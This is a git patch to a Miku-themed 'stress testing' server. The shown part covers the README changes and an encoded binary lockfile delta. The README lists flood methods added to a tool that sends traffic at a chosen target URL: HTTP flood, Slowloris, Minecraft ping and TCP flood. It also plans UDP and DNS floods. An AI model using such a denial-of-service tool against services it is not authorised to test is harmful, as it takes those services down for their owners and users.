From e0f33c00ccc6293bba2f5de14011d835365b48ef Mon Sep 17 00:00:00 2001 From: Sammwy Date: Tue, 21 Jan 2025 08:32:10 -0300 Subject: [PATCH] =?UTF-8?q?feature:=20=F0=9F=A4=BA=20better=20proxy=20pars?= =?UTF-8?q?ing,=20added=20methods:=20slowloris,=20mc=20ping,=20tcp=20flood?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 22 ++- bun.lockb | Bin 159994 -> 176559 bytes data/proxies.txt | 5 - package.json | 7 +- server/{utils/fileLoader.js => fileLoader.ts} | 8 +- server/{index.js => index.ts} | 33 ++-- server/lib.ts | 13 ++ server/proxyUtils.ts | 53 ++++++ server/utils/mcUtils.js | 177 ++++++++++++++++++ server/utils/proxyUtils.js | 9 - server/utils/randomUtils.js | 18 ++ server/workers/httpAttack.js | 49 ----- server/workers/httpFloodAttack.js | 76 ++++++++ server/workers/httpSlowlorisAttack.js | 85 +++++++++ server/workers/minecraftPingAttack.js | 49 +++++ server/workers/tcpFloodAttack.js | 74 ++++++++ src/App.tsx | 70 ++++--- 17 files changed, 634 insertions(+), 114 deletions(-) rename server/{utils/fileLoader.js => fileLoader.ts} (77%) rename server/{index.js => index.ts} (74%) create mode 100644 server/lib.ts create mode 100644 server/proxyUtils.ts create mode 100644 server/utils/mcUtils.js delete mode 100644 server/utils/proxyUtils.js create mode 100644 server/utils/randomUtils.js delete mode 100644 server/workers/httpAttack.js create mode 100644 server/workers/httpFloodAttack.js create mode 100644 server/workers/httpSlowlorisAttack.js create mode 100644 server/workers/minecraftPingAttack.js create mode 100644 server/workers/tcpFloodAttack.js diff --git a/README.md b/README.md index fb485ee..55e6408 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,10 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte - 📊 **Live Stats**: Track the success and failure of each attack in real-time. See how many packets are sent and whether they succeed or fail. - 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸 - 📡 **Attack Methods:**: - - `HTTP` - Send HTTP requests + - `HTTP Flood` - Send random HTTP requests + - `HTTP Slowloris` - Send HTTP requests and keep the connection open + - `Minecraft Ping` - Send Minecraft ping/motd requests + - `TCP Flood` - Send random TCP packets ## Setup 🛠️ @@ -58,7 +61,7 @@ Make sure you have the following installed: Once the server is up and running, you can interact with it via the frontend: 1. **Start Attack**: - - Set up the attack parameters: target URL, attack method (HTTP, etc.), packet size, duration, and delay. + - Set up the attack parameters: target URL, attack method (HTTP Flood, Slowloris, TCP, etc...), packet size, duration, and delay. - Press "Start Attack" to initiate the stress test. 2. **Stop Attack**: @@ -69,7 +72,7 @@ Once the server is up and running, you can interact with it via the frontend: ```json { "target": "http://example.com", - "attackMethod": "http", + "attackMethod": "http_flood", "packetSize": 512, "duration": 60, "packetDelay": 500 @@ -83,8 +86,6 @@ Each attack type is handled in a separate worker thread, ensuring that the main ## To-Do 📝 - Add more attack methods: - - Minecraft 🎮 - - TCP 💻 - UDP 🌐 - DNS 📡 - And more! 🔥 @@ -107,12 +108,13 @@ For example: ```javascript const attackHandlers = { - http: "./workers/httpAttack.js", - minecraft: "./workers/minecraftAttack.js", - udp: "./workers/udpAttack.js", - tcp: "./workers/tcpAttack.js", - dns: "./workers/dnsAttack.js", + http_flood: "./workers/httpFloodAttack.js", + http_slowloris: "./workers/httpSlowlorisAttack.js", + tcp_flood: "./workers/tcpFloodAttack.js", + minecraft_ping: "./workers/minecraftPingAttack.js", + // Add more protocols as needed! + your_protocol: "./workers/yourProtocolAttack.js" }; ``` diff --git a/bun.lockb b/bun.lockb index bab46c7287cd483dc8e4fb57339378fd1758e363..1faf35e778130185a9cde307209b49cce060719e 100644 GIT binary patch delta 39682 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 